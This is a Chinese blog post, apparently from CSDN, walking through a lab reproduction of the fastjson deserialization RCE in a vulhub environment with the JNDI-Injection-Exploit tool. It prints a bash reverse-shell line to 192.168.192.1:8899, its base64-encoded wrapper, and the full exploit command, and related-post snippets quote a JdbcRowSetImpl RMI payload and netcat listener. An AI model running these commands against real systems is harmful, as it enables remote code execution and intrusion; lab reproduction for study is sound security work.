[vulhub]fastjson反序列化漏洞复现

已于 2023-09-11 17:10:38 修改
阅读量109 收藏
点赞数
CC 4.0 BY-SA版权
文章标签： 网络安全
于 2023-09-11 17:08:52 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/feigerger/article/details/132813320
本文介绍了如何利用JNDI-Injection-Exploit工具在靶场环境中构造服务，通过编码实现从远程主机192.168.192.1反弹shell，展示了攻击者利用Java环境中的JNDI注入漏洞进行恶意操作的过程。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

靶场环境：vulhub

需要工具

Releases · Maskhe/FastjsonScan (github.com)

Release JNDI-Injection-Exploit v1.0 · welk1n/JNDI-Injection-Exploit (github.com)

image-20230908165257864

使用JNDI-Injection-Exploit构建服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/feifei" -A "192.168.192.1"

image-20230908165014750

选择一条构建出的语句

image-20230908170855292

点击send执行，可以看到在/tmp目录下新建了个文件夹feifei

image-20230908164949740

反弹shell

将需要执行的代码进行base64编码

bash -i >& /dev/tcp/192.168.192.1/8899 0>&1 //base64编码
​
​
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Mi4xLzg4OTkgMD4mMQ==}|{base64,-d}|{bash,-i}

使用JNDI-Injection-Exploit构建服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Mi4xLzg4OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.192.1"

反弹shell成功

Fredg0n
关注
BurpSuite安装破解教程
菜鸟的自学之路
04-24 4426
手动破解安装 加载Jython环境
Fastjson反序列化漏洞原理与漏洞复现(基于vulhub靶场)
人若无名，便可专心练剑
03-27 5644
Fastjson反序列化漏洞也是一个知名度比较高的Java反序列化漏洞，他是阿里巴巴的开源库，下面我将主要带大家了解Fastjson反序列化漏洞的原理以及相关知识点的内容，然后带师傅们去利用rmi服务去复现这个Fastjson反序列化漏洞！！！
fastjson反序列化漏洞复现
THZLYXX的博客
11-25 449
fastjson在解析json（反序列化）的过程中，支持使用@Type来实例化一个具体类，且自动调用这个类的set/get方法来访问属性。服务器的fastjson在处理json数据的过程中，没有对@type进行校验，攻击者就可以传入危险类，并且调用危险的类远程连接ldap/rmi服务，通过ldap/rmi服务上的恶意代码执行远程命令。6.使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具开启JNDI服务（注意需要使用jdk1.8环境）4.可使用burp进行编码。
VULHUB复现fastjson1.2.24反序列化漏洞
carrot11223的博客
04-28 1015
使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型，在反序列化的时候会读取这个@type，来试图把JSON内容反序列化到对象，并且会调用这个库的setter或者getter方法，然而，@type的类有可能被恶意构造，只需要合理构造一个JSON，使用@type指定一个想要的攻击类库就可以实现攻击。当一个类只有一个接口的时候，将这个类的对象序列化的时候，就会将子类抹去（apple/iphone）只保留接口的类型(Fruit)，最后导致反序列化时无法得到原始类型。
fastjson反序列化漏洞手把手复现
潇逗
07-22 1358
需要登录网址 https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html ，选择自己需要的java版本下载。ngrok使用参考https://editor.youkuaiyun.com/md/?这里第135后面跟的4444端口是开启Http映射的时候设置的端口，后面的9999端口是我们rmi服务用来监听的端口。（1）官网下载 https://maven.apache.org/download.cgi。
【Web】vulhub Fastjson反序列化漏洞复现学习笔记
uuzeray的博客
02-07 859
复现流程vulhub启动靶场用marshalsec启动LDAP/RMI服务用python启动HTTP服务，存放恶意字节码(LinuxTouch.class)效果是在靶机临时目录下创建一个success文件发现python启动的http服务接收到字节码请求再看靶机容器的/tmp下，成功创建success文件。
vulhub fastjson 1.2.24 反序列化漏洞 复现
m0_64777251的博客
04-08 1120
这里要注意一点就是jdk版本要统一为1.8mvn项目要1.8而且touch.java 在用javac编译时 javac也需要是1.8如果版本不统一会导致后期反弹shell弹不上还有就是端口要打开 否则流量过不去也是扯淡。
fastjson1.2.24 反序列化漏洞复现
RMC131的博客
07-21 1064
Fastjson 是一个 Java 库，可以将 Java 对象转换为 JSON 格式，当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象，即使是一些预先存在的没有源码的对象。这里json与java对象之间的转换，便是使用的序列化和反序列化，fastjson的反序列化也就是来自这里。详细介绍：https://www.runoob.com/w3cnote/fastjson-intro.html。
Fastjson反序列化漏洞原理与复现
FisrtBqy的博客
05-15 3980
Ffasjson反序列化漏洞原理与复现
Fastjson反序列化漏洞原理及漏洞复现
weixin_46263525的博客
04-04 1985
Fastjson反序列化漏洞原理及反弹shell利用
Fastjson反序列化漏洞部署复现1.2.24版本反序列RCE笔记
weixin_51339377的博客
11-09 1077
但是mvn clean package -DskipTests执行需要一个环境变量JAVA_HOME，且对应的地址是jdk文件夹，不带bin。之后rmi服务器从kali的4444端口去取恶意类 返回给rmi服务器 rmi服务器再返回给8090的fastjson执行。总结：所有的java的jdk jre也好 全都直接在path中设置绝对路径。最终通过刚才的工具 启动一个rmi服务器 加载刚才设置的恶意类。设置ip地址为可以访问到的 通过http进行访问测试。会先通过rmi请求到win10的rmi服务器。
fastjson1.2.24反序列化漏洞复现 CVE-2017-18349
m0_62284238的博客
09-10 1836
fastjson反序列化漏洞复现 CVE-2017-18349
04-Fastjson反序列化漏洞
qq_57410330的博客
08-02 1800
该文章详细讲述了Fastjson漏洞
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8739
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
MATLAB GUI设计平台：多算法雷达一维恒虚警检测CFAR可视化界面，实现噪声波形与目标检测回波-检测门限波形图的可视化
07-25
内容概要：本文介绍了利用MATLAB GUI设计平台构建的一个多算法雷达一维恒虚警检测(CFAR)可视化界面。该界面允许用户选择不同的噪声类型（如高斯白噪声、瑞利噪声）、目标类型（如点目标、扩展目标），并选择多种CFAR算法（如OS-CFAR、CA-CFAR）。用户还可以手动输入关键参数，如噪声功率、目标回波功率和门限值。系统能够实时生成并显示噪声波形和目标检测的回波-检测门限波形图，帮助用户直观地评估不同算法在各种噪声条件下的表现。 适合人群：从事雷达信号处理研究的专业人士、高校师生及相关领域的科研工作者。 使用场景及目标：适用于需要对比和优化雷达系统中CFAR算法性能的研究项目，旨在提升雷达系统的检测精度和适应能力。 其他说明：通过这个可视化工具，研究人员可以更加便捷地探索不同参数配置下各CFAR算法的效果，为实际工程应用提供理论支持和技术指导。
49页PPTAI赋能制造业-250624165915.pptx
07-25
【49页PPT】AI赋能制造业_250624165915.pptx
Delphi 12.3控件之BCompare-zh-5.1.2.31185.rar
07-25
Delphi 12.3控件之BCompare-zh-5.1.2.31185.rar
MATLABSimulink中小电流系统单相接地故障仿真的建模与分析 电力系统仿真 v2.1
最新发布
07-25
利用MATLAB/Simulink构建小电流系统单相接地故障仿真模型的方法。主要探讨了三种不同的中性点接地方式（不接地、经消弧线圈接地、经小电阻接地）下，故障特征的变化情况。文中不仅提供了具体的模型搭建步骤，还展示了如何通过Simulink进行波形数据的采集与分析，如零序电流、零序电压及其五次谐波波形图的获取方法。此外，作者分享了一些实用技巧，比如正确配置Powergui模块以确保仿真精度。 适用人群：电力系统研究人员、高校师生以及从事电力工程相关工作的技术人员。 使用场景及目标：适用于需要深入理解不同类型中性点接地方式对电网稳定性影响的研究项目；也可作为教学案例帮助学生掌握电力系统故障诊断的基本原理和技术手段。 其他说明：文中涉及大量MATLAB/Simulink的具体操作细节，对于初学者来说可能具有一定难度，建议有一定编程基础后再行尝试。
基于MATLAB蚁群算法的配电网重构研究：提升供电可靠性与减少线损能力
07-25
内容概要：本文探讨了利用MATLAB中的蚁群算法进行配电网重构的方法，旨在提升供电可靠性和减少线损。文中详细介绍了蚁群算法的基本原理及其在配电网重构中的具体应用，包括蚂蚁对象的定义、转移概率的计算、节点电压约束的处理以及信息素的迭代更新。通过对IEEE33节点系统的实验验证，展示了该算法的有效性和高效性。结果显示，在相同条件下，蚁群算法相比传统遗传算法不仅速度更快，而且能显著降低线损并减少失电负荷。 适合人群：从事电力系统研究的技术人员、高校相关专业师生、对智能算法感兴趣的开发者。 使用场景及目标：适用于需要优化配电网结构的实际工程中，特别是在追求更高供电质量和更低能耗的情况下。目标是通过改进现有配电网络，达到减少停电时间和损失电量的效果。 阅读建议：对于想要深入了解蚁群算法及其在电力系统中应用的人来说，本文提供了详细的理论解释和技术实现步骤。建议读者跟随文中提供的代码片段逐步理解和实践，同时关注参数调节对最终结果的影响。
fastjson反序列化漏洞复现vulhub
06-01
好的，这是一个比较常见的漏洞，以下是vulhub上的fastjson反序列化漏洞的复现步骤： 1. 下载并启动vulhub： ``` git clone https://github.com/vulhub/vulhub.git cd vulhub/fastjson/1.2.24_rce/ docker-compose up -d ``` 2. 打开浏览器，访问`http://your-ip:8080/`，可以看到一个输入框和一个提交按钮。 3. 在输入框中输入以下内容： ``` {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://your-ip:1099/Exploit","autoCommit":true} ``` 其中，`your-ip`需要替换为你自己的IP地址。 4. 点击提交按钮，可以看到出现了一个弹窗，表示攻击成功。 5. 在vulhub所在的机器上执行以下命令： ``` nc -lvnp 4444 ``` 6. 在攻击成功的弹窗中，点击“确认”按钮，即可成功得到一个反弹shell。 以上就是漏洞的复现步骤，需要注意的是，该漏洞具有很大的危害性，攻击者可以通过该漏洞实现远程命令执行，因此需要及时修复。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值